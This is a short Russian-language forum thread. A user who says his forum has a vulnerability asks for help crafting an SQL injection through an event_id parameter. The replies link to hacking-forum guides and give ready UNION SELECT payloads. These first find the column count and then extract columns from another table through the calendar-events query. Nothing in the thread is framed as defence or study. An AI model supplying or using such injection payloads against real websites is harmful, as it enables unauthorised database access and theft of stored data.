Вопрос знающим людям. Та вот имею форум с такой уязвимостью. Помогите составить какую-то пробную инъекцию, при помощи этого параметра event_id. За ранее благодарен.
Почитай маны по sql-injection ссылки можно найти тут http://forum.web-hack.ru/index.php?showtopic=46504 начинай с union select null, null, null/* и т.д
1 'select' => '*', 'from' => 'cal_events', 'where' => "event_id=999999 union select 1,2,3,4,...,100" 2 'select' => '*', 'from' => 'cal_events', 'where' => "event_id=999999 union select 1,2,3,4,...,100 from cal_table" 3 'select' => '*', 'from' => 'cal_events', 'where' => "event_id=999999 union select 1,column,3,4,...,100 from cal_table"
